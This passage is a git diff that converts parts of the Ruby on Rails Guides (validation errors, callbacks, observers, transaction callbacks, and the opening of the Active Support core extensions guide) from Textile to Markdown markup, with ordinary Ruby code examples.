Errors +Working with Validation Errors +------------------------------ -In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects. +In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects. -The following is a list of the most commonly used methods. Please refer to the +ActiveModel::Errors+ documentation for a list of all the available methods. +The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods. -h4(#working_with_validation_errors-errors). +errors+ +### `errors` -Returns an instance of the class +ActiveModel::Errors+ containing all errors. Each key is the attribute name and the value is an array of strings with all errors. +Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :presence => true, :length => { :minimum => 3 } end @@ -729,13 +738,13 @@ person.errors person = Person.new(:name => "John Doe") person.valid? # => true person.errors # => [] -</ruby> +``` -h4(#working_with_validation_errors-errors-2). +errors[]+ +### `errors[]` -+errors[]+ is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array. +`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :presence => true, :length => { :minimum => 3 } end @@ -752,13 +761,13 @@ person = Person.new person.valid? # => false person.errors[:name] # => ["can't be blank", "is too short (minimum is 3 characters)"] -</ruby> +``` -h4. +errors.add+ +### `errors.add` -The +add+ method lets you manually add messages that are related to particular attributes. You can use the +errors.full_messages+ or +errors.to_a+ methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself. +The `add` method lets you manually add messages that are related to particular attributes. You can use the `errors.full_messages` or `errors.to_a` methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). `add` receives the name of the attribute you want to add the message to, and the message itself. -<ruby> +```ruby class Person < ActiveRecord::Base def a_method_used_for_validation_purposes errors.add(:name, "cannot contain the characters !@#%*()_-+=") @@ -772,11 +781,11 @@ person.errors[:name] person.errors.full_messages # => ["Name cannot contain the characters !@#%*()_-+="] -</ruby> +``` -Another way to do this is using +[]=+ setter +Another way to do this is using `[]=` setter -<ruby> +```ruby class Person < ActiveRecord::Base def a_method_used_for_validation_purposes errors[:name] = "cannot contain the characters !@#%*()_-+=" @@ -790,25 +799,25 @@ Another way to do this is using +[]=+ setter person.errors.to_a # => ["Name cannot contain the characters !@#%*()_-+="] -</ruby> +``` -h4. +errors[:base]+ +### `errors[:base]` -You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message. +You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message. -<ruby> +```ruby class Person < ActiveRecord::Base def a_method_used_for_validation_purposes errors[:base] << "This person is invalid because ..." end end -</ruby> +``` -h4. +errors.clear+ +### `errors.clear` -The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. +The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :presence => true, :length => { :minimum => 3 } end @@ -824,14 +833,14 @@ person.errors.empty? # => true p.save # => false p.errors[:name] - # => ["can't be blank", "is too short (minimum is 3 characters)"] -</ruby> +# => ["can't be blank", "is too short (minimum is 3 characters)"] +``` -h4. +errors.size+ +### `errors.size` -The +size+ method returns the total number of error messages for the object. +The `size` method returns the total number of error messages for the object. -<ruby> +```ruby class Person < ActiveRecord::Base validates :name, :presence => true, :length => { :minimum => 3 } end @@ -843,32 +852,33 @@ person.errors.size # => 2 person = Person.new(:name => "Andrea", :email => "andrea@example.com") person.valid? # => true person.errors.size # => 0 -</ruby> +``` -h3. Displaying Validation Errors in the View +Displaying Validation Errors in the View +---------------------------------------- -"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates. +[DynamicForm](https://github.com/joelmoss/dynamic_form) provides helpers to display the error messages of your models in your view templates. You can install it as a gem by adding this line to your Gemfile: -<ruby> +```ruby gem "dynamic_form" -</ruby> +``` -Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates. +Now you will have access to the two helper methods `error_messages` and `error_messages_for` in your view templates. -h4. +error_messages+ and +error_messages_for+ +### `error_messages` and `error_messages_for` -When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance. +When creating a form with the `form_for` helper, you can use the `error_messages` method on the form builder to render all failed validation messages for the current model instance. -<ruby> +```ruby class Product < ActiveRecord::Base validates :description, :value, :presence => true validates :value, :numericality => true, :allow_nil => true end -</ruby> +``` -<erb> +```erb <%= form_for(@product) do |f| %> <%= f.error_messages %> <p> @@ -883,81 +893,82 @@ end <%= f.submit "Create" %> </p> <% end %> -</erb> +``` If you submit the form with empty fields, the result will be similar to the one shown below: -!images/error_messages.png(Error messages)! + -NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css. +NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See [Customizing the Error Messages CSS](#customizing-the-error-messages-css). -You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result. +You can also use the `error_messages_for` helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result. -<erb> +```erb <%= error_messages_for :product %> -</erb> +``` The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. -Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example, +Both the `form.error_messages` and the `error_messages_for` helpers accept options that let you customize the `div` element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example, -<erb> +```erb <%= f.error_messages :header_message => "Invalid product!", :message => "You'll need to fix the following fields:", :header_tag => :h3 %> -</erb> +``` results in: -!images/customized_error_messages.png(Customized error messages)! + -If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded. +If you pass `nil` in any of these options, the corresponding section of the `div` will be discarded. -h4(#customizing-error-messages-css). Customizing the Error Messages CSS +### Customizing the Error Messages CSS The selectors used to customize the style of error messages are: -* +.field_with_errors+ - Style for the form fields and labels with errors. -* +#error_explanation+ - Style for the +div+ element with the error messages. -* +#error_explanation h2+ - Style for the header of the +div+ element. -* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element. -* +#error_explanation ul li+ - Style for the list items with individual error messages. +* `.field_with_errors` - Style for the form fields and labels with errors. +* `#error_explanation` - Style for the `div` element with the error messages. +* `#error_explanation h2` - Style for the header of the `div` element. +* `#error_explanation p` - Style for the paragraph holding the message that appears right below the header of the `div` element. +* `#error_explanation ul li` - Style for the list items with individual error messages. -If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above. +If scaffolding was used, file `app/assets/stylesheets/scaffolds.css.scss` will have been generated automatically. This file defines the red-based styles you saw in the examples above. -The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. +The name of the class and the id can be changed with the `:class` and `:id` options, accepted by both helpers. -h4. Customizing the Error Messages HTML +### Customizing the Error Messages HTML -By default, form fields with errors are displayed enclosed by a +div+ element with the +field_with_errors+ CSS class. However, it's possible to override that. +By default, form fields with errors are displayed enclosed by a `div` element with the `field_with_errors` CSS class. However, it's possible to override that. -The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters: +The way form fields with errors are treated is defined by `ActionView::Base.field_error_proc`. This is a `Proc` that receives two parameters: * A string with the HTML tag -* An instance of +ActionView::Helpers::InstanceTag+. +* An instance of `ActionView::Helpers::InstanceTag`. -Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. +Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a `span` element with a `validation-error` CSS class. There will be no `div` element enclosing the `input` element, so we get rid of that red border around the text field. You can use the `validation-error` CSS class to style it anyway you want. -<ruby> +```ruby ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| errors = Array(instance.error_message).join(',') %(#{html_tag}<span class="validation-error"> #{errors}</span>).html_safe end -</ruby> +``` The result looks like the following: -!images/validation_error_messages.png(Validation error messages)! + -h3. Callbacks Overview +Callbacks Overview +------------------ Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. -h4. Callback Registration +### Callback Registration In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: -<ruby> +```ruby class User < ActiveRecord::Base validates :login, :email, :presence => true @@ -970,11 +981,11 @@ class User < ActiveRecord::Base end end end -</ruby> +``` The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: -<ruby> +```ruby class User < ActiveRecord::Base validates :login, :email, :presence => true @@ -982,53 +993,54 @@ class User < ActiveRecord::Base user.name = user.login.capitalize if user.name.blank? end end -</ruby> +``` It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. -h3. Available Callbacks +Available Callbacks +------------------- Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations: -h4. Creating an Object +### Creating an Object -* +before_validation+ -* +after_validation+ -* +before_save+ -* +around_save+ -* +before_create+ -* +around_create+ -* +after_create+ -* +after_save+ +* `before_validation` +* `after_validation` +* `before_save` +* `around_save` +* `before_create` +* `around_create` +* `after_create` +* `after_save` -h4. Updating an Object +### Updating an Object -* +before_validation+ -* +after_validation+ -* +before_save+ -* +around_save+ -* +before_update+ -* +around_update+ -* +after_update+ -* +after_save+ +* `before_validation` +* `after_validation` +* `before_save` +* `around_save` +* `before_update` +* `around_update` +* `after_update` +* `after_save` -h4. Destroying an Object +### Destroying an Object -* +before_destroy+ -* +around_destroy+ -* +after_destroy+ +* `before_destroy` +* `around_destroy` +* `after_destroy` -WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed. +WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed. -h4. +after_initialize+ and +after_find+ +### `after_initialize` and `after_find` -The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method. +The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method. -The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. +The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined. -The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks. +The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks. -<ruby> +```ruby class User < ActiveRecord::Base after_initialize do |user| puts "You have initialized an object!" @@ -1047,71 +1059,75 @@ You have initialized an object! You have found an object! You have initialized an object! => #<User id: 1> -</ruby> +``` -h3. Running Callbacks +Running Callbacks +----------------- The following methods trigger callbacks: -* +create+ -* +create!+ -* +decrement!+ -* +destroy+ -* +destroy_all+ -* +increment!+ -* +save+ -* +save!+ -* +save(:validate => false)+ -* +toggle!+ -* +update+ -* +update_attribute+ -* +update_attributes+ -* +update_attributes!+ -* +valid?+ - -Additionally, the +after_find+ callback is triggered by the following finder methods: - -* +all+ -* +first+ -* +find+ -* +find_all_by_<em>attribute</em>+ -* +find_by_<em>attribute</em>+ -* +find_by_<em>attribute</em>!+ -* +find_by_sql+ -* +last+ - -The +after_initialize+ callback is triggered every time a new object of the class is initialized. - -h3. Skipping Callbacks +* `create` +* `create!` +* `decrement!` +* `destroy` +* `destroy_all` +* `increment!` +* `save` +* `save!` +* `save(:validate => false)` +* `toggle!` +* `update` +* `update_attribute` +* `update_attributes` +* `update_attributes!` +* `valid?` + +Additionally, the `after_find` callback is triggered by the following finder methods: + +* `all` +* `first` +* `find` +* `find_all_by_<em>attribute</em>` +* `find_by_<em>attribute</em>` +* `find_by_<em>attribute</em>!` +* `find_by_sql` +* `last` + +The `after_initialize` callback is triggered every time a new object of the class is initialized. + +Skipping Callbacks +------------------ Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. -* +decrement+ -* +decrement_counter+ -* +delete+ -* +delete_all+ -* +increment+ -* +increment_counter+ -* +toggle+ -* +touch+ -* +update_column+ -* +update_columns+ -* +update_all+ -* +update_counters+ - -h3. Halting Execution +* `decrement` +* `decrement_counter` +* `delete` +* `delete_all` +* `increment` +* `increment_counter` +* `toggle` +* `touch` +* `update_column` +* `update_columns` +* `update_all` +* `update_counters` + +Halting Execution +----------------- As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. -The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. +The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. -h3. Relational Callbacks +Relational Callbacks +-------------------- -Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model: +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model: -<ruby> +```ruby class User < ActiveRecord::Base has_many :posts, :dependent => :destroy end @@ -1131,61 +1147,63 @@ end >> user.destroy Post destroyed => #<User id: 1> -</ruby> +``` -h3. Conditional Callbacks +Conditional Callbacks +--------------------- -As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string, a +Proc+ or an +Array+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option. +As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option. -h4. Using +:if+ and +:unless+ with a +Symbol+ +### Using `:if` and `:unless` with a `Symbol` -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. +You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. -<ruby> +```ruby class Order < ActiveRecord::Base before_save :normalize_card_number, :if => :paid_with_card? end -</ruby> +``` -h4. Using +:if+ and +:unless+ with a String +### Using `:if` and `:unless` with a String -You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: +You can also use a string that will be evaluated using `eval` and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: -<ruby> +```ruby class Order < ActiveRecord::Base before_save :normalize_card_number, :if => "paid_with_card?" end -</ruby> +``` -h4. Using +:if+ and +:unless+ with a +Proc+ +### Using `:if` and `:unless` with a `Proc` -Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners: +Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners: -<ruby> +```ruby class Order < ActiveRecord::Base before_save :normalize_card_number, :if => Proc.new { |order| order.paid_with_card? } end -</ruby> +``` -h4. Multiple Conditions for Callbacks +### Multiple Conditions for Callbacks -When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration: +When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration: -<ruby> +```ruby class Comment < ActiveRecord::Base after_create :send_email_to_author, :if => :author_wants_emails?, :unless => Proc.new { |comment| comment.post.ignore_comments? } end -</ruby> +``` -h3. Callback Classes +Callback Classes +---------------- Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. -Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model: +Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model: -<ruby> +```ruby class PictureFileCallbacks def after_destroy(picture_file) if File.exists?(picture_file.filepath) @@ -1193,19 +1211,19 @@ class PictureFileCallbacks end end end -</ruby> +``` When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: -<ruby> +```ruby class PictureFile < ActiveRecord::Base after_destroy PictureFileCallbacks.new end -</ruby> +``` -Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: +Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: -<ruby> +```ruby class PictureFileCallbacks def self.after_destroy(picture_file) if File.exists?(picture_file.filepath) @@ -1213,65 +1231,66 @@ class PictureFileCallbacks end end end -</ruby> +``` -If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object. +If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object. -<ruby> +```ruby class PictureFile < ActiveRecord::Base after_destroy PictureFileCallbacks end -</ruby> +``` You can declare as many callbacks as you want inside your callback classes. -h3. Observers +Observers +--------- -Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a `User` model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. -h4. Creating Observers +### Creating Observers -For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality. +For example, imagine a `User` model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality. -<shell> +```bash $ rails generate observer User -</shell> +``` -generates +app/models/user_observer.rb+ containing the observer class +UserObserver+: +generates `app/models/user_observer.rb` containing the observer class `UserObserver`: -<ruby> +```ruby class UserObserver < ActiveRecord::Observer end -</ruby> +``` You may now add methods to be called at the desired occasions: -<ruby> +```ruby class UserObserver < ActiveRecord::Observer def after_create(model) # code to send confirmation email... end end -</ruby> +``` As with callback classes, the observer's methods receive the observed model as a parameter. -h4. Registering Observers +### Registering Observers -Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way: +Observers are conventionally placed inside of your `app/models` directory and registered in your application's `config/application.rb` file. For example, the `UserObserver` above would be saved as `app/models/user_observer.rb` and registered in `config/application.rb` this way: -<ruby> +```ruby # Activate observers that should always be running. config.active_record.observers = :user_observer -</ruby> +``` -As usual, settings in +config/environments+ take precedence over those in +config/application.rb+. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead. +As usual, settings in `config/environments` take precedence over those in `config/application.rb`. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead. -h4. Sharing Observers +### Sharing Observers By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe: -<ruby> +```ruby class MailerObserver < ActiveRecord::Observer observe :registration, :user @@ -1279,31 +1298,32 @@ class MailerObserver < ActiveRecord::Observer # code to send confirmation email... end end -</ruby> +``` -In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect: +In this example, the `after_create` method will be called whenever a `Registration` or `User` is created. Note that this new `MailerObserver` would also need to be registered in `config/application.rb` in order to take effect: -<ruby> +```ruby # Activate observers that should always be running. config.active_record.observers = :mailer_observer -</ruby> +``` -h3. Transaction Callbacks +Transaction Callbacks +--------------------- -There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. +There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. -Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. +Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error. -<ruby> +```ruby PictureFile.transaction do picture_file_1.destroy picture_file_2.save! end -</ruby> +``` -By using the +after_commit+ callback we can account for this case. +By using the `after_commit` callback we can account for this case. -<ruby> +```ruby class PictureFile < ActiveRecord::Base attr_accessor :delete_file @@ -1318,6 +1338,6 @@ class PictureFile < ActiveRecord::Base end end end -</ruby> +``` -The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. +The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. diff --git a/guides/source/active_support_core_extensions.textile b/guides/source/active_support_core_extensions.md index 8748817eb8..2a84242b9c 100644 --- a/guides/source/active_support_core_extensions.textile +++ b/guides/source/active_support_core_extensions.md @@ -1,4 +1,5 @@ -h2. Active Support Core Extensions +Active Support Core Extensions +============================== Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff. @@ -6,159 +7,161 @@ It offers a richer bottom-line at the language level, targeted both at the devel By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Active Support. -endprologue. +-------------------------------------------------------------------------------- -h3. How to Load Core Extensions +How to Load Core Extensions +--------------------------- -h4. Stand-Alone Active Support +### Stand-Alone Active Support In order to have a near zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you may load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything. Thus, after a simple require like: -<ruby> +```ruby require 'active_support' -</ruby> +``` -objects do not even respond to +blank?+. Let's see how to load its definition. +objects do not even respond to `blank?`. Let's see how to load its definition. -h5. Cherry-picking a Definition +#### Cherry-picking a Definition -The most lightweight way to get +blank?+ is to cherry-pick the file that defines it. +The most lightweight way to get `blank?` is to cherry-pick the file that defines it. -For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of +blank?+ the note reads: +For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads: -NOTE: Defined in +active_support/core_ext/object/blank.rb+. +NOTE: Defined in `active_support/core_ext/object/blank.rb`. That means that this single call is enough: -<ruby> +```ruby require 'active_support/core_ext/object/blank' -</ruby> +``` Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any. -h5. Loading Grouped Core Extensions +#### Loading Grouped Core Extensions -The next level is to simply load all extensions to +Object+. As a rule of thumb, extensions to +SomeClass+ are available in one shot by loading +active_support/core_ext/some_class+. +The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`. -Thus, to load all extensions to +Object+ (including +blank?+): +Thus, to load all extensions to `Object` (including `blank?`): -<ruby> +```ruby require 'active_support/core_ext/object' -</ruby> +``` -h5. Loading All Core Extensions +#### Loading All Core Extensions You may prefer just to load all core extensions, there is a file for that: -<ruby> +```ruby require 'active_support/core_ext' -</ruby> +``` -h5. Loading All Active Support +#### Loading All Active Support And finally, if you want to have all Active Support available just issue: -<ruby> +```ruby require 'active_support/all' -</ruby> +``` -That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via +autoload+, so it is only loaded if used. +That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used. -h4. Active Support Within a Ruby on Rails Application +### Active Support Within a Ruby on Rails Application -A Ruby on Rails application loads all Active Support unless +config.active_support.bare+ is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section. +A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section. -h3. Extensions to All Objects +Extensions to All Objects +------------------------- -h4. +blank?+ and +present?+ +### `blank?` and `present?` The following values are considered to be blank in a Rails application: -* +nil+ and +false+, +* `nil` and `false`, * strings composed only of whitespace (see note below), * empty arrays and hashes, and -* any other object that responds to +empty?+ and it is empty. +* any other object that responds to `empty?` and it is empty. -INFO: The predicate for strings uses the Unicode-aware character class <tt>[:space:]</tt>, so for example U+2029 (paragraph separator) is considered to be whitespace. +INFO: The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace. -WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank. +WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are **not** blank. -For example, this method from +ActionDispatch::Session::AbstractStore+ uses +blank?+ for checking whether a session key is present: +For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present: -<ruby> +```ruby def ensure_session_key! if @key.blank? raise ArgumentError, 'A key is required...' end end -</ruby> +``` -The method +present?+ is equivalent to +!blank?+. This example is taken from +ActionDispatch::Http::Cache::Response+: +The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`: -<ruby> +```ruby def set_conditional_cache_control! return if self["Cache-Control"].present? ... end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/object/blank.rb+. +NOTE: Defined in `active_support/core_ext/object/blank.rb`. -h4. +presence+ +### `presence` -The +presence+ method returns its receiver if +present?+, and +nil+ otherwise. It is useful for idioms like this: +The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this: -<ruby> +```ruby host = config[:host].presence || 'localhost' -</ruby> +``` -NOTE: Defined in +active_support/core_ext/object/blank.rb+. +NOTE: Defined in `active_support/core_ext/object/blank.rb`. -h4. +duplicable?+ +### `duplicable?` A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance: -<ruby> +```ruby 1.object_id # => 3 Math.cos(0).to_i.object_id # => 3 -</ruby> +``` -Hence, there's no way these objects can be duplicated through +dup+ or +clone+: +Hence, there's no way these objects can be duplicated through `dup` or `clone`: -<ruby> +```ruby true.dup # => TypeError: can't dup TrueClass -</ruby> +``` Some numbers which are not singletons are not duplicable either: -<ruby> +```ruby 0.0.clone # => allocator undefined for Float (2**1024).clone # => allocator undefined for Bignum -</ruby> +``` -Active Support provides +duplicable?+ to programmatically query an object about this property: +Active Support provides `duplicable?` to programmatically query an 